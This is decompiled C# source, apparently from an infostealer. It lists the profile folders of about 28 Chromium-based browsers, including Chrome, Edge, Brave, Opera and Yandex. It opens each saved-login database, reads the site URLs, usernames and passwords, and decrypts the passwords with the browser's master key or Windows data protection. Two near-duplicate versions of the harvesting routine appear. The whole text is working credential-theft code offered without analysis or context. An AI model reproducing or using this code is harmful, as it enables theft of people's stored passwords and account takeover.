// Token: 0x0600025B RID: 603 RVA: 0x00011EB4 File Offset: 0x000100B4 public static List <Account> Grab() { Dictionary <string, string> dictionary = new Dictionary <string, string> { { "Chrome", Chromium.LocalApplicationData + "\\Google\\Chrome\\User Data" }, { "Opera", Path.Combine(Chromium.ApplicationData, "Opera Software\\Opera Stable") }, { "Yandex", Path.Combine(Chromium.LocalApplicationData, "Yandex\\YandexBrowser\\User Data") }, { "360 Browser", Chromium.LocalApplicationData + "\\360Chrome\\Chrome\\User Data" }, { "Comodo Dragon", Path.Combine(Chromium.LocalApplicationData, "Comodo\\Dragon\\User Data") }, { "CoolNovo", Path.Combine(Chromium.LocalApplicationData, "MapleStudio\\ChromePlus\\User Data") }, { "SRWare Iron", Path.Combine(Chromium.LocalApplicationData, "Chromium\\User Data") }, { "Torch Browser", Path.Combine(Chromium.LocalApplicationData, "Torch\\User Data") }, { "Brave Browser", Path.Combine(Chromium.LocalApplicationData, "BraveSoftware\\Brave-Browser\\User Data") }, { "Iridium Browser", Chromium.LocalApplicationData + "\\Iridium\\User Data" }, { "7Star", Path.Combine(Chromium.LocalApplicationData, "7Star\\7Star\\User Data") }, { "Amigo", Path.Combine(Chromium.LocalApplicationData, "Amigo\\User Data") }, { "CentBrowser", Path.Combine(Chromium.LocalApplicationData, "CentBrowser\\User Data") }, { "Chedot", Path.Combine(Chromium.LocalApplicationData, "Chedot\\User Data") }, { "CocCoc", Path.Combine(Chromium.LocalApplicationData, "CocCoc\\Browser\\User Data") }, { "Elements Browser", Path.Combine(Chromium.LocalApplicationData, "Elements Browser\\User Data") }, { "Epic Privacy Browser", Path.Combine(Chromium.LocalApplicationData, "Epic Privacy Browser\\User Data") }, { "Kometa", Path.Combine(Chromium.LocalApplicationData, "Kometa\\User Data") }, { "Orbitum", Path.Combine(Chromium.LocalApplicationData, "Orbitum\\User Data") }, { "Sputnik", Path.Combine(Chromium.LocalApplicationData, "Sputnik\\Sputnik\\User Data") }, { "uCozMedia", Path.Combine(Chromium.LocalApplicationData, "uCozMedia\\Uran\\User Data") }, { "Vivaldi", Path.Combine(Chromium.LocalApplicationData, "Vivaldi\\User Data") }, { "Sleipnir 6", Path.Combine(Chromium.ApplicationData, "Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer") }, { "Citrio", Path.Combine(Chromium.LocalApplicationData, "CatalinaGroup\\Citrio\\User Data") }, { "Coowon", Path.Combine(Chromium.LocalApplicationData, "Coowon\\Coowon\\User Data") }, { "Liebao Browser", Path.Combine(Chromium.LocalApplicationData, "liebao\\User Data") }, { "QIP Surf", Path.Combine(Chromium.LocalApplicationData, "QIP Surf\\User Data") }, { "Edge Chromium", Path.Combine(Chromium.LocalApplicationData, "Microsoft\\Edge\\User Data") } }; List <Account> list = new List <Account>(); foreach (KeyValuePair <string, string> keyValuePair in dictionary) { list.AddRange(Chromium.smethod_0(keyValuePair.Value, keyValuePair.Key, "logins")); } return(list); }
// Token: 0x0600025C RID: 604 RVA: 0x00012204 File Offset: 0x00010404 private static List <Account> smethod_0(string string_0, string string_1, string string_2 = "logins") { List <string> list = Chromium.smethod_1(string_0); List <Account> list2 = new List <Account>(); foreach (string text in list.ToArray()) { if (File.Exists(text)) { SQLiteHandler sqliteHandler; try { sqliteHandler = new SQLiteHandler(text); } catch (Exception ex) { Console.WriteLine(ex.ToString()); goto IL_177; } if (sqliteHandler.ReadTable(string_2)) { for (int num = 0; num <= sqliteHandler.GetRowCount() - 1; num++) { try { string value = sqliteHandler.GetValue(num, "origin_url"); string value2 = sqliteHandler.GetValue(num, "username_value"); string text2 = sqliteHandler.GetValue(num, "password_value"); if (text2 != null) { if (text2.StartsWith("v10") || text2.StartsWith("v11")) { byte[] masterKey = Chromium.GetMasterKey(Directory.GetParent(text).Parent.FullName); if (masterKey == null) { goto IL_180; } text2 = Chromium.DecryptWithKey(Encoding.Default.GetBytes(text2), masterKey); } else { text2 = Chromium.Decrypt(text2); } if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(text2)) { list2.Add(new Account { URL = value, UserName = value2, Password = text2, Application = string_1 }); } goto IL_180; } goto IL_180; } catch (Exception ex2) { Console.WriteLine(ex2.ToString()); goto IL_180; } break; IL_180 :; } } } IL_177 :; } return(list2); }
// Token: 0x0600001D RID: 29 RVA: 0x0000290C File Offset: 0x00000B0C private static List <Account> Accounts(string path, string browser, string table = "logins") { List <string> allProfiles = Chromium.GetAllProfiles(path); List <Account> list = new List <Account>(); foreach (string text in allProfiles.ToArray()) { bool flag = !File.Exists(text); if (!flag) { classSQLiteHandler sqliteHandler; try { sqliteHandler = new classSQLiteHandler(text); } catch (Exception ex) { Console.WriteLine(ex.ToString()); goto IL_1B4; } bool flag2 = !sqliteHandler.ReadTable(table); if (!flag2) { int j = 0; while (j <= sqliteHandler.GetRowCount() - 1) { try { string value = sqliteHandler.GetValue(j, "origin_url"); string value2 = sqliteHandler.GetValue(j, "username_value"); string text2 = sqliteHandler.GetValue(j, "password_value"); bool flag3 = text2 != null; if (flag3) { bool flag4 = text2.StartsWith("v10") || text2.StartsWith("v11"); if (flag4) { byte[] masterKey = Chromium.GetMasterKey(Directory.GetParent(text).Parent.FullName); bool flag5 = masterKey == null; if (flag5) { goto IL_194; } text2 = Chromium.DecryptWithKey(Encoding.Default.GetBytes(text2), masterKey); } else { text2 = Chromium.Decrypt(text2); } bool flag6 = !string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(text2); if (flag6) { list.Add(new Account { URL = value, UserName = value2, Password = text2, Application = browser }); } } } catch (Exception ex2) { Console.WriteLine(ex2.ToString()); } IL_194: j++; continue; goto IL_194; } } } IL_1B4 :; } return(list); }